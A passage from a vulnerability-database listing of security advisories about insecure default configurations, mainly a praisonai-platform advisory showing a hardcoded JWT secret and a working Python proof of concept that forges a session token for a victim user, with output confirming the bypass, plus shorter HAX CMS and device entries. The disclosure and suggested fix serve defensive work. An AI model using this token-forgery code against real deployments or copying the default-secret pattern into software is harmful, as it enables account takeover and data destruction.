  "published": "2026-06-18T14:27:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cwj8-7gp2-ggcw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonai-platform: default JWT signing secret \u0027dev-secret-change-me\u0027 enables token forgery"
}

GHSA-F38F-JVQJ-MFG6

Vulnerability from github – Published: 2025-07-21 19:48 – Updated: 2025-07-21 22:21
VLAI
Summary
NodeJS version of HAX CMS Has Insecure Default Configuration That Leads to Unauthenticated Access
Details

Summary

The NodeJS version of HAX CMS uses an insecure default configuration designed for local development. The default configuration does not perform authorization or authentication checks.

Details

If a user were to deploy haxcms-nodejs without modifying the default settings, ‘HAXCMS_DISABLE_JWT_CHECKS‘ would be set to ‘true‘ and their deployment would lack session authentication.

insecure-default-configuration-code

Affected Resources

PoC

To reproduce this vulnerability, install HAX CMS NodeJS. The application will load without JWT checks enabled.

Impact

Without security checks in place, an unauthenticated remote attacker could access, modify, and delete all site information.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@haxtheweb/haxcms-nodejs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54127"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-21T19:48:58Z",
    "nvd_published_at": "2025-07-21T21:15:26Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe NodeJS version of HAX CMS uses an insecure default configuration designed for local\ndevelopment. The default configuration does not perform authorization or authentication checks.\n\n### Details\nIf a user were to deploy haxcms-nodejs without modifying the default settings, \u2018HAXCMS_DISABLE_JWT_CHECKS\u2018 would be set to \u2018true\u2018 and their deployment would lack session authentication. \n\n![insecure-default-configuration-code](https://github.com/user-attachments/assets/af58b08a-8a26-4ef5-8deb-e6e9d4efefaa)\n\n#### Affected Resources\n- [package.json:13](https://github.com/haxtheweb/haxcms-nodejs/blob/a4d2f18341ff63ad2d97c35f9fc21af8b965248b/package.json#L13)\n\n### PoC\nTo reproduce this vulnerability, [install](https://github.com/haxtheweb/haxcms-nodejs) HAX CMS NodeJS. The application will load without JWT checks enabled. \n\n### Impact\nWithout security checks in place, an unauthenticated remote attacker could access, modify, and delete all site information.",
  "id": "GHSA-f38f-jvqj-mfg6",
  "modified": "2025-07-21T22:21:21Z",
  "published": "2025-07-21T19:48:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-f38f-jvqj-mfg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54127"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haxtheweb/haxcms-nodejs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NodeJS version of HAX CMS Has Insecure Default Configuration That Leads to Unauthenticated Access"
}

GHSA-F38V-77QJ-H4JQ

Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-06-18 14:27
VLAI
Summary
praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)
Details
  • Affected: praisonai-platform (PyPI) <= 0.1.4 — including 0.1.4, the version GHSA-3qg8-5g3r-79v5 declares as the patch; main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c is also affected. File src/praisonai-platform/praisonai_platform/services/auth_service.py

  • CWE: CWE-1188 (Insecure Default Initialization) + CWE-798 (Use of Hard-coded Credentials) -> CWE-287 (Improper Authentication)

Overview

GHSA-3qg8-5g3r-79v5 (Critical) reported that praisonai-platform's JWT signing secret defaulted to the hardcoded literal "dev-secret-change-me", and that the production guard meant to prevent this was default-open (it only fired when PLATFORM_ENV != "dev", but PLATFORM_ENV defaults to "dev"). That advisory declares the issue patched in >= 0.1.4. It is not. The shipped praisonai-platform==0.1.4 (and current main) still resolves the signing key to "dev-secret-change-me" in any deployment that does not explicitly set PLATFORM_JWT_SECRET, because the 0.1.4 change merely duplicated the same default-open guard into a second function instead of failing closed. An unauthenticated attacker reads the literal from the public source, forges a JWT with an arbitrary sub, and is authenticated as that user — including a workspace owner.

Impact

Any deployment that runs praisonai-platform 0.1.4 without explicitly exporting a strong PLATFORM_JWT_SECRET signs and verifies session JWTs with the publicly known key "dev-secret-change-me". The package's documented entry point — python -m praisonai_platform --host 0.0.0.0 --port 8000 (equivalently uvicorn praisonai_platform.api.app:app --host 0.0.0.0) — sets neither PLATFORM_JWT_SECRET nor PLATFORM_ENV, so this is the default state, not an edge case. A repository-wide search finds both variables only at the two guard sites and in test fixtures; no shipped Dockerfile, compose file, or deployment doc sets either.

Consequences:

  • Complete authentication bypass (unauthenticated). Knowing only the public default secret read from source, an attacker mints HS256({"sub": , "email": …, "exp": }, "dev-secret-change-me"). The platform's own verifier accepts it and returns an authenticated identity for the attacker-chosen sub — no account and no prior access required. This is the headline defect: the identical break GHSA-3qg8 was scored 9.8 for.

  • Workspace-owner takeover (when a target owner's id is known). Forging the sub of a workspace owner satisfies require_workspace_member / require_workspace_owner and the owner-gated routes, yielding owner-level read/update/delete of every resource in that workspace plus member/role management. uuid4 user ids are unguessable, so impersonating a specific owner additionally requires learning that owner's id — which any co-member can read directly from GET /{workspace_id}/members (returns List[MemberResponse], each carrying user_id and role, to any holder of require_workspace_member), and which also surfaces in logs and referrals. The end state matches the three Critical advisories of the 0.1.4 wave (this one, plus GHSA-c2m8-4gcg-v22g 9.6 and GHSA-h8q5-cp56-rr65).

  • Resource destruction / lock-out (A:H). Owner impersonation reaches DELETE /workspaces/{workspace_id} (gated by require_workspace_owner), which deletes the entire workspace and every contained resource, and DELETE /{workspace_id}/members/{user_id}, which evicts legitimate members — irrecoverable denial of the workspace to its rightful users.

  • Affected population: every default (no PLATFORM_JWT_SECRET) deployment of 0.1.4 — the version users upgrade to specifically because GHSA-3qg8 told them 0.1.4 is fixed.

PR:N / AC:L apply to the authentication-bypass primitive: minting a valid session for a known sub needs no account, only the public secret. Targeted takeover of a specific owner additionally requires that owner's user id (readable by any co-member from the member-list response above, or recoverable from logs / prior exposure); this conditions the highest-impact path but not the bypass itself. The vector matches the PR:N/9.8 GitHub assigned the original GHSA-3qg8 for the identical defect.

Technical Details

All references are to src/praisonai-platform/praisonai_platform/... in praisonai-platform==0.1.4 (PyPI sdist) and main HEAD 8acf77c. The two copies of services/auth_service.py are byte-identical — sha256 = cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 for both the shipped 0.1.4 sdist and the HEAD checkout — so the patched release and current main carry the same defect verbatim.

1. Module-load guard is default-open (services/auth_service.py:25-34).

DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))
if JWT_SECRET == DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
    raise RuntimeError(
        "PLATFORM_JWT_SECRET must be set to a strong random value in production. "
        "Set PLATFORM_ENV=dev to suppress this check during development."
    )

The raise fires only when PLATFORM_ENV != "dev". But os.environ.get("PLATFORM_ENV", "dev") defaults to "dev", and PLATFORM_ENV is set nowhere in the package or its deployment configuration (a repo-wide search finds PLATFORM_ENV only at these two guard sites, and PLATFORM_JWT_SECRET only here plus in tests/ fixtures that set it explicitly — no Dockerfile, compose file, or doc sets either). So in a clean deployment the predicate is True and ("dev" != "dev") = False; the guard does not fire and JWT_SECRET stays "dev-secret-change-me".

2. The 0.1.4 "fix" duplicated the same default-open guard (services/auth_service.py:114-128). Instead of failing closed, 0.1.4 added the identical predicate to _issue_token:

def _issue_token(self, user: User) -> str:
    if JWT_SECRET == DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
        raise RuntimeError("Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev")
    ...
    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)   # signs with the default secret

GHSA-3qg8 states the intended fix is to "fail-closed at import time when the secret is the default, regardless of any environment variable." HEAD does not do that; both guard copies remain gated on the PLATFORM_ENV != "dev" condition that is false by default. The advisory's own patch threshold (>= 0.1.4) is therefore incorrect — 0.1.4 is still vulnerable.

3. Verification trusts the forged sub end-to-end (services/auth_service.py:131-141 -> api/deps.py:28-73).

def _verify_token(self, token):
    payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])   # default secret; alg pinned; exp checked
    return AuthIdentity(id=payload["sub"], type="user", email=payload.get("email"), name=payload.get("name"))

get_current_user (deps.py:28) returns this identity directly; require_workspace_member (deps.py:54) authorizes purely from member_svc.has_role(workspace_id, identity.id, min_role) against the forged sub. Decoding is otherwise sound (HS256 pinned, exp enforced by PyJWT, no verify=False), so the only break is the default secret. No middleware or app-factory check re-validates (api/app.py mounts the routers with per-route Depends(get_current_user) and no global re-root).

The cross-workspace IDOR (GHSA-h8q5-cp56-rr65) and member-role privilege-escalation (GHSA-c2m8-4gcg-v22g) fixes were reviewed at HEAD and appear complete; this advisory is specific to the JWT-secret guard.

Reproduction

praisonai-platform is a Python server package, so the PoC is a self-contained Python reproducer that installs the shipped 0.1.4 release, simulates a default deployment (no env vars), forges a token with the public default secret, and feeds it to the package's own AuthService._verify_token.

mkdir poc && cd poc
pip install --target ./pkgs praisonai-platform==0.1.4 PyJWT
python3 poc.py
# poc.py
import os, sys
os.environ.pop("PLATFORM_JWT_SECRET", None)   # default deployment: secret not set
os.environ.pop("PLATFORM_ENV", None)          # default deployment: env not set -> guard default-open
sys.path.insert(0, "./pkgs")

from datetime import datetime, timedelta, timezone
import jwt

VICTIM_SUB = "11111111-2222-4333-8444-deadbeefcafe"   # a target user/owner uuid4
now = datetime.now(timezone.utc)
forged = jwt.encode(
    {"sub": VICTIM_SUB, "email": "victim@target", "name": "victim",
     "iat": now, "exp": now + timedelta(hours=1)},
    "dev-secret-change-me", algorithm="HS256",       # the public hardcoded default
)

from praisonai_platform.services import auth_service as A
print("package JWT_SECRET (env unset) =", repr(A.JWT_SECRET), "| == default?", A.JWT_SECRET == "dev-secret-change-me")
identity = A.AuthService.__new__(A.AuthService)._verify_token(forged)   # the package's own verifier
print("package _verify_token(forged) =", identity)
assert identity is not None and identity.id == VICTIM_SUB
print("RESULT: CONFIRMED — forged token accepted as victim")

End-to-end (runtime) verification

Observed output, run against the actually-installed praisonai-platform==0.1.4 (the GHSA-3qg8 "patched" release):

package JWT_SECRET (env unset) = 'dev-secret-change-me' | == default? True
package _verify_token(forged) = AuthIdentity(id='11111111-2222-4333-8444-deadbeefcafe', type='user', workspace_id=None, roles=[], email='victim@target', name='victim', metadata={})
RESULT: CONFIRMED — forged token accepted as victim

This is the package's own _verify_token (not a re-implementation) returning an authenticated AuthIdentity for an attacker-chosen sub, proving end-to-end that 0.1.4 accepts forged sessions in a default deployment. The intermediate observation (the module-level JWT_SECRET equals the public default) and the final sink (the verifier returns the victim identity) were both observed at runtime.

Default-open contrast

Setting only PLATFORM_ENV (still no PLATFORM_JWT_SECRET) makes the same guard fire at import — demonstrating that the only thing protecting a production deployment is an environment variable that defaults to the unsafe value:

PLATFORM_ENV=prod python3 -c "import praisonai_platform.services.auth_service"
  File ".../praisonai_platform/services/auth_service.py", line 31, in <module>
    raise RuntimeError(
RuntimeError: PLATFORM_JWT_SECRET must be set to a strong random value in production. Set PLATFORM_ENV=dev to suppress this check during development.

The guard can fail closed — it simply does not in the default (PLATFORM_ENV unset → "dev") state, which is exactly what GHSA-3qg8 reported and 0.1.4 left unchanged.

Suggested Fix

Fail closed, independent of PLATFORM_ENV:

JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
if not JWT_SECRET:
    raise RuntimeError("PLATFORM_JWT_SECRET must be set to a strong random value; refusing to start with a default key.")
if JWT_SECRET == "dev-secret-change-me":
    raise RuntimeError("PLATFORM_JWT_SECRET is the well-known default; set a unique strong value.")
  • Remove the _DEFAULT_SECRET fallback entirely (no default signing key), or at minimum raise unconditionally when the secret is the default — do not gate that check on PLATFORM_ENV, whose default value ("dev") is precisely what disables the check.

  • Apply the same to the duplicated guard in _issue_token.

  • Consider generating a random per-process secret only for an explicit, clearly-flagged dev mode (e.g. PLATFORM_ENV=dev opt-in), so the safe default is fail-closed.

Disclosure Timeline

  • 2026-05-30: Discovered as an incomplete fix of GHSA-3qg8-5g3r-79v5 while auditing praisonai-platform at main HEAD 8acf77c. Runtime-confirmed against the shipped PyPI release praisonai-platform==0.1.4: a token forged with the public default secret is accepted by the package's own AuthService._verify_token.

  • 2026-05-30: Drafted for submission via GitHub Security Advisory (PraisonAI).

References

  • Original advisory (declares 0.1.4 patched): GHSA-3qg8-5g3r-79v5 — "praisonai-platform: JWT signing key defaults to hardcoded dev-secret-change-me … when PLATFORM_ENV is unset" (Critical, 9.8).

  • Affected source: src/praisonai-platform/praisonai_platform/services/auth_service.py:25-34 (module guard), :114-128 (_issue_token duplicate guard + sign), :130-141 (_verify_token); api/deps.py:28-73 (get_current_user, require_workspace_member); api/app.py (router mounting, no global auth re-root).

  • Shipped artifact verified: praisonai-platform==0.1.4 PyPI sdist (pyproject.toml:7 version = "0.1.4"); auth_service.py is byte-identical to main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).

  • Sibling advisories from the same 0.1.4 wave (reviewed, fixes appear complete at HEAD): the wave closed three Critical advisories in total — this one (GHSA-3qg8-5g3r-79v5, 9.8) plus GHSA-c2m8-4gcg-v22g (member-role privilege escalation, 9.6) and GHSA-h8q5-cp56-rr65 (cross-workspace IDOR + role escalation) — alongside several High/Medium IDOR advisories.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:27:08Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "- Affected: praisonai-platform (PyPI) \u003c= 0.1.4 \u2014 including 0.1.4, the version GHSA-3qg8-5g3r-79v5 declares as the patch; main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c is also affected. File src/praisonai-platform/praisonai_platform/services/auth_service.py\n\n- CWE: CWE-1188 (Insecure Default Initialization) + CWE-798 (Use of Hard-coded Credentials) -\u003e CWE-287 (Improper Authentication)\n\n## Overview\n\nGHSA-3qg8-5g3r-79v5 (Critical) reported that praisonai-platform\u0027s JWT signing secret defaulted to the hardcoded literal \"dev-secret-change-me\", and that the production guard meant to prevent this was default-open (it only fired when PLATFORM_ENV != \"dev\", but PLATFORM_ENV defaults to \"dev\"). That advisory declares the issue patched in \u003e= 0.1.4. **It is not.** The shipped praisonai-platform==0.1.4 (and current main) still resolves the signing key to \"dev-secret-change-me\" in any deployment that does not explicitly set PLATFORM_JWT_SECRET, because the 0.1.4 change merely duplicated the same default-open guard into a second function instead of failing closed. An unauthenticated attacker reads the literal from the public source, forges a JWT with an arbitrary sub, and is authenticated as that user \u2014 including a workspace owner.\n\n## Impact\n\nAny deployment that runs praisonai-platform 0.1.4 without explicitly exporting a strong PLATFORM_JWT_SECRET signs and verifies session JWTs with the publicly known key \"dev-secret-change-me\". The package\u0027s documented entry point \u2014 `python -m praisonai_platform --host 0.0.0.0 --port 8000` (equivalently `uvicorn praisonai_platform.api.app:app --host 0.0.0.0`) \u2014 sets neither PLATFORM_JWT_SECRET nor PLATFORM_ENV, so this is the default state, not an edge case. A repository-wide search finds both variables only at the two guard sites and in test fixtures; no shipped Dockerfile, compose file, or deployment doc sets either.\n\nConsequences:\n\n- **Complete authentication bypass (unauthenticated).** Knowing only the public default secret read from source, an attacker mints HS256({\"sub\": \u003cuser id\u003e, \"email\": \u2026, \"exp\": \u003cfuture\u003e}, \"dev-secret-change-me\"). The platform\u0027s own verifier accepts it and returns an authenticated identity for the attacker-chosen sub \u2014 no account and no prior access required. This is the headline defect: the identical break GHSA-3qg8 was scored 9.8 for.\n\n- **Workspace-owner takeover (when a target owner\u0027s id is known).** Forging the sub of a workspace owner satisfies require_workspace_member / require_workspace_owner and the owner-gated routes, yielding owner-level read/update/delete of every resource in that workspace plus member/role management. uuid4 user ids are unguessable, so impersonating a specific owner additionally requires learning that owner\u0027s id \u2014 which any co-member can read directly from GET /{workspace_id}/members (returns List[MemberResponse], each carrying user_id and role, to any holder of require_workspace_member), and which also surfaces in logs and referrals. The end state matches the three Critical advisories of the 0.1.4 wave (this one, plus GHSA-c2m8-4gcg-v22g 9.6 and GHSA-h8q5-cp56-rr65).\n\n- **Resource destruction / lock-out (A:H).** Owner impersonation reaches DELETE /workspaces/{workspace_id} (gated by require_workspace_owner), which deletes the entire workspace and every contained resource, and DELETE /{workspace_id}/members/{user_id}, which evicts legitimate members \u2014 irrecoverable denial of the workspace to its rightful users.\n\n- **Affected population:** every default (no PLATFORM_JWT_SECRET) deployment of 0.1.4 \u2014 the version users upgrade to specifically because GHSA-3qg8 told them 0.1.4 is fixed.\n\nPR:N / AC:L apply to the authentication-bypass primitive: minting a valid session for a known sub needs no account, only the public secret. Targeted takeover of a specific owner additionally requires that owner\u0027s user id (readable by any co-member from the member-list response above, or recoverable from logs / prior exposure); this conditions the highest-impact path but not the bypass itself. The vector matches the PR:N/9.8 GitHub assigned the original GHSA-3qg8 for the identical defect.\n\n## Technical Details\n\nAll references are to src/praisonai-platform/praisonai_platform/... in praisonai-platform==0.1.4 (PyPI sdist) and main HEAD 8acf77c. The two copies of services/auth_service.py are byte-identical \u2014 sha256 = cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 for both the shipped 0.1.4 sdist and the HEAD checkout \u2014 so the patched release and current main carry the same defect verbatim.\n\n**1. Module-load guard is default-open (services/auth_service.py:25-34).**\n\n```python\nDEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\nif JWT_SECRET == DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n    raise RuntimeError(\n        \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n        \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n    )\n```\n\nThe raise fires only when PLATFORM_ENV != \"dev\". But os.environ.get(\"PLATFORM_ENV\", \"dev\") defaults to \"dev\", and PLATFORM_ENV is set nowhere in the package or its deployment configuration (a repo-wide search finds PLATFORM_ENV only at these two guard sites, and PLATFORM_JWT_SECRET only here plus in tests/ fixtures that set it explicitly \u2014 no Dockerfile, compose file, or doc sets either). So in a clean deployment the predicate is True and (\"dev\" != \"dev\") = False; the guard does not fire and JWT_SECRET stays \"dev-secret-change-me\".\n\n**2. The 0.1.4 \"fix\" duplicated the same default-open guard (services/auth_service.py:114-128).** Instead of failing closed, 0.1.4 added the identical predicate to _issue_token:\n\n```python\ndef _issue_token(self, user: User) -\u003e str:\n    if JWT_SECRET == DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n        raise RuntimeError(\"Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev\")\n    ...\n    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)   # signs with the default secret\n```\n\nGHSA-3qg8 states the intended fix is to \"fail-closed at import time when the secret is the default, regardless of any environment variable.\" HEAD does not do that; both guard copies remain gated on the PLATFORM_ENV != \"dev\" condition that is false by default. The advisory\u0027s own patch threshold (\u003e= 0.1.4) is therefore incorrect \u2014 0.1.4 is still vulnerable.\n\n**3. Verification trusts the forged sub end-to-end (services/auth_service.py:131-141 -\u003e api/deps.py:28-73).**\n\n```python\ndef _verify_token(self, token):\n    payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])   # default secret; alg pinned; exp checked\n    return AuthIdentity(id=payload[\"sub\"], type=\"user\", email=payload.get(\"email\"), name=payload.get(\"name\"))\n```\n\nget_current_user (deps.py:28) returns this identity directly; require_workspace_member (deps.py:54) authorizes purely from member_svc.has_role(workspace_id, identity.id, min_role) against the forged sub. Decoding is otherwise sound (HS256 pinned, exp enforced by PyJWT, no verify=False), so the only break is the default secret. No middleware or app-factory check re-validates (api/app.py mounts the routers with per-route Depends(get_current_user) and no global re-root).\n\nThe cross-workspace IDOR (GHSA-h8q5-cp56-rr65) and member-role privilege-escalation (GHSA-c2m8-4gcg-v22g) fixes were reviewed at HEAD and appear complete; this advisory is specific to the JWT-secret guard.\n\n## Reproduction\n\npraisonai-platform is a Python server package, so the PoC is a self-contained Python reproducer that installs the shipped 0.1.4 release, simulates a default deployment (no env vars), forges a token with the public default secret, and feeds it to the package\u0027s own AuthService._verify_token.\n\n```bash\nmkdir poc \u0026\u0026 cd poc\npip install --target ./pkgs praisonai-platform==0.1.4 PyJWT\npython3 poc.py\n```\n\n```python\n# poc.py\nimport os, sys\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None)   # default deployment: secret not set\nos.environ.pop(\"PLATFORM_ENV\", None)          # default deployment: env not set -\u003e guard default-open\nsys.path.insert(0, \"./pkgs\")\n\nfrom datetime import datetime, timedelta, timezone\nimport jwt\n\nVICTIM_SUB = \"11111111-2222-4333-8444-deadbeefcafe\"   # a target user/owner uuid4\nnow = datetime.now(timezone.utc)\nforged = jwt.encode(\n    {\"sub\": VICTIM_SUB, \"email\": \"victim@target\", \"name\": \"victim\",\n     \"iat\": now, \"exp\": now + timedelta(hours=1)},\n    \"dev-secret-change-me\", algorithm=\"HS256\",       # the public hardcoded default\n)\n\nfrom praisonai_platform.services import auth_service as A\nprint(\"package JWT_SECRET (env unset) =\", repr(A.JWT_SECRET), \"| == default?\", A.JWT_SECRET == \"dev-secret-change-me\")\nidentity = A.AuthService.__new__(A.AuthService)._verify_token(forged)   # the package\u0027s own verifier\nprint(\"package _verify_token(forged) =\", identity)\nassert identity is not None and identity.id == VICTIM_SUB\nprint(\"RESULT: CONFIRMED \u2014 forged token accepted as victim\")\n```\n\n### End-to-end (runtime) verification\n\nObserved output, run against the actually-installed praisonai-platform==0.1.4 (the GHSA-3qg8 \"patched\" release):\n\n```text\npackage JWT_SECRET (env unset) = \u0027dev-secret-change-me\u0027 | == default? True\npackage _verify_token(forged) = AuthIdentity(id=\u002711111111-2222-4333-8444-deadbeefcafe\u0027, type=\u0027user\u0027, workspace_id=None, roles=[], email=\u0027victim@target\u0027, name=\u0027victim\u0027, metadata={})\nRESULT: CONFIRMED \u2014 forged token accepted as victim\n```\n\nThis is the package\u0027s own _verify_token (not a re-implementation) returning an authenticated AuthIdentity for an attacker-chosen sub, proving end-to-end that 0.1.4 accepts forged sessions in a default deployment. The intermediate observation (the module-level JWT_SECRET equals the public default) and the final sink (the verifier returns the victim identity) were both observed at runtime.\n\n### Default-open contrast\n\nSetting only PLATFORM_ENV (still no PLATFORM_JWT_SECRET) makes the same guard fire at import \u2014 demonstrating that the only thing protecting a production deployment is an environment variable that defaults to the unsafe value:\n\n```bash\nPLATFORM_ENV=prod python3 -c \"import praisonai_platform.services.auth_service\"\n```\n\n```text\n  File \".../praisonai_platform/services/auth_service.py\", line 31, in \u003cmodule\u003e\n    raise RuntimeError(\nRuntimeError: PLATFORM_JWT_SECRET must be set to a strong random value in production. Set PLATFORM_ENV=dev to suppress this check during development.\n```\n\nThe guard can fail closed \u2014 it simply does not in the default (PLATFORM_ENV unset \u2192 \"dev\") state, which is exactly what GHSA-3qg8 reported and 0.1.4 left unchanged.\n\n## Suggested Fix\n\nFail closed, independent of PLATFORM_ENV:\n\n```python\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nif not JWT_SECRET:\n    raise RuntimeError(\"PLATFORM_JWT_SECRET must be set to a strong random value; refusing to start with a default key.\")\nif JWT_SECRET == \"dev-secret-change-me\":\n    raise RuntimeError(\"PLATFORM_JWT_SECRET is the well-known default; set a unique strong value.\")\n```\n\n- Remove the _DEFAULT_SECRET fallback entirely (no default signing key), or at minimum raise unconditionally when the secret is the default \u2014 do **not** gate that check on PLATFORM_ENV, whose default value (\"dev\") is precisely what disables the check.\n\n- Apply the same to the duplicated guard in _issue_token.\n\n- Consider generating a random per-process secret only for an explicit, clearly-flagged dev mode (e.g. PLATFORM_ENV=dev opt-in), so the safe default is fail-closed.\n\n## Disclosure Timeline\n\n- 2026-05-30: Discovered as an incomplete fix of GHSA-3qg8-5g3r-79v5 while auditing praisonai-platform at main HEAD 8acf77c. Runtime-confirmed against the shipped PyPI release praisonai-platform==0.1.4: a token forged with the public default secret is accepted by the package\u0027s own AuthService._verify_token.\n\n- 2026-05-30: Drafted for submission via GitHub Security Advisory (PraisonAI).\n\n## References\n\n- Original advisory (declares 0.1.4 patched): GHSA-3qg8-5g3r-79v5 \u2014 \"praisonai-platform: JWT signing key defaults to hardcoded dev-secret-change-me \u2026 when PLATFORM_ENV is unset\" (Critical, 9.8).\n\n- Affected source: src/praisonai-platform/praisonai_platform/services/auth_service.py:25-34 (module guard), :114-128 (_issue_token duplicate guard + sign), :130-141 (_verify_token); api/deps.py:28-73 (get_current_user, require_workspace_member); api/app.py (router mounting, no global auth re-root).\n\n- Shipped artifact verified: praisonai-platform==0.1.4 PyPI sdist (pyproject.toml:7 version = \"0.1.4\"); auth_service.py is byte-identical to main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).\n\n- Sibling advisories from the same 0.1.4 wave (reviewed, fixes appear complete at HEAD): the wave closed three Critical advisories in total \u2014 this one (GHSA-3qg8-5g3r-79v5, 9.8) plus GHSA-c2m8-4gcg-v22g (member-role privilege escalation, 9.6) and GHSA-h8q5-cp56-rr65 (cross-workspace IDOR + role escalation) \u2014 alongside several High/Medium IDOR advisories.",
  "id": "GHSA-f38v-77qj-h4jq",
  "modified": "2026-06-18T14:27:08Z",
  "published": "2026-06-18T14:27:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f38v-77qj-h4jq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)"
}

GHSA-F9HF-P7M4-XH2G

Vulnerability from github – Published: 2025-03-18 12:30 – Updated: 2025-03-18 12:30
VLAI
Details

An unauthenticated remote attacker can gain limited information of the PLC network but the user management of the PLCs prevents the actual access to the PLCs.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41975"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-18T11:15:39Z",
    "severity": "MODERATE"
  },
  "details": "An unauthenticated remote attacker can gain limited information of the PLC network but the user management of the PLCs prevents the actual access to the PLCs.",
  "id": "GHSA-f9hf-p7m4-xh2g",
  "modified": "2025-03-18T12:30:48Z",
  "published": "2025-03-18T12:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41975"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2025-013"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FG9H-CF2H-VJRX

Vulnerability from github – Published: 2026-05-12 12:32 – Updated: 2026-05-12 12:32
VLAI
Details

Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place. This could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting misconfigurations that may lead to further system compromise.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-27662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T10:16:45Z",
    "severity": "HIGH"
  },
